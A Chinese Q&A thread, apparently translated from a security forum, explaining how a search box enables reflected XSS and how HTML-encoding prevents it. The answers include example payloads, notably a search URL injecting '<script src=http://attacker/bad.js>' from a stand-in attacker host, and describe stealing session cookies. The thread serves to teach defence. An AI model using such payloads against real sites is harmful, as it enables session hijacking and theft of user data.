典型的“搜索框”XSS 攻击

信息安全 xss javascript
2021-08-15 14:30:14

当我开发一个网站时,我总是意识到安全漏洞,但我很难看到如何使用搜索框来注入可以在我的页面上运行的脚本。

所以我知道,由于缺乏清理,输入可能会添加到我的 DOM 中。但是——那又怎样?我从不期望用户使用 javascript 作为搜索词 - 所以我永远不会尝试在我的页面上运行它。我会把它当作一个字符串,所以它只会表现得像一个字符串。还是我在这里遗漏了一些基本的东西?

唯一一次我可以在页面中添加一些输入是如果我 render No search results found for "<script>malicious();</script>",但我永远不会让搜索词运行。

我在这里有什么误解?

事实上,如果有人能解释一下搜索框的概念——我很高兴。我正在努力掌握 XSS 攻击的最后一部分。

3个回答

XSS 攻击的目标是让攻击者以某种方式将代码注入从您的站点提供的网页中。此代码具有特权,因为它是由您的站点提供的,同源策略允许它完全访问您站点的 cookie 和您提供的网页的内容。

因此,如果您的网站响应请求,例如

http://example.com/search?q=<script>alert(1)</script>

通过返回此 HTML

<body>No search results found for "<script>alert(1);</script>"</body>

然后该脚本将被执行,您将看到警报对话框。这是一个 XSS 漏洞。另一方面,如果您的网站返回:

<body>No search results found for "&lt;script&gt;alert(1);&lt;/script&gt;"</body>

那么你至少有一些针对 XSS 攻击的保护。

在真正的攻击中,攻击者不会使用alert,而是尝试以登录用户的身份在您的站点上执行操作,或者从页面或用户的 cookie 中窃取数据。您应该阅读OWASP XSS Cheat Sheet以获得更完整的解释以及如何执行适当的转义以防止 XSS 漏洞的详细介绍。

想象一下以下场景:

  • 用户登录到您的站点,即有一个会话 cookie。
  • 用户访问由黑客控制的指向您网站的链接。这样的链接可以嵌入到攻击者控制的站点中,如<img src=http://your-site/.... 或者它可能在邮件内、广告内(请参阅恶意广告)或类似内容。
  • 该链接使用搜索框中的 XSS 问题将代码注入站点,即http://your-site/search?q=This+will+not+be+found+<script+src=http://attacker/bad.js>.

输入可能会添加到我的 DOM。但是——那又怎样?

攻击者控制的脚本现在被执行到您站点的上下文中这意味着脚本可以访问完整的 DOM 和所有未设置 httpOnly 标志的 cookie。该脚本可以在站点内执行任何操作,例如:

  • 将会话 cookie 发送给攻击者,以便可以完成会话劫持。
  • 以登录用户身份执行某些操作,例如发布一些侮辱性文章或更糟。即他们用户可以在您的网站上做的任何事情。

我从不期望用户使用 javascript 作为搜索词

用户可能不会(取决于您拥有的网站类型)。

但攻击者会。

他们将尝试让受害者搜索有害的 JavaScript(例如通过向他们发送链接),然后在受害者浏览器的上下文中执行。这意味着攻击者现在可以读取您的网站向用户显示的任何数据,他们可以更改您的网站对用户的外观,他们可以以用户的名义在您的网站上执行任何操作等。

所以我永远不会尝试在我的页面上运行它。
但我永远不会让搜索词运行。

对。但是你要怎么做呢?如果攻击者搜索<script>alert(1);</script>,您如何确保此 JavaScript 代码不会被发送到的浏览器执行?

我会把它当作一个字符串,所以它只会表现得像一个字符串。

但是您发送给客户端的所有内容都被视为字符串,并且脚本仍将被执行。

您需要做的(在大多数情况下)是对输入进行 HTML 编码。这样,它确实被视为普通文本,而不是被视为 HTML 代码。

有关防止 XSS的更多信息或有关 XSS 的一般信息,例如不同的类型、示例等,请参阅例如 OWASP。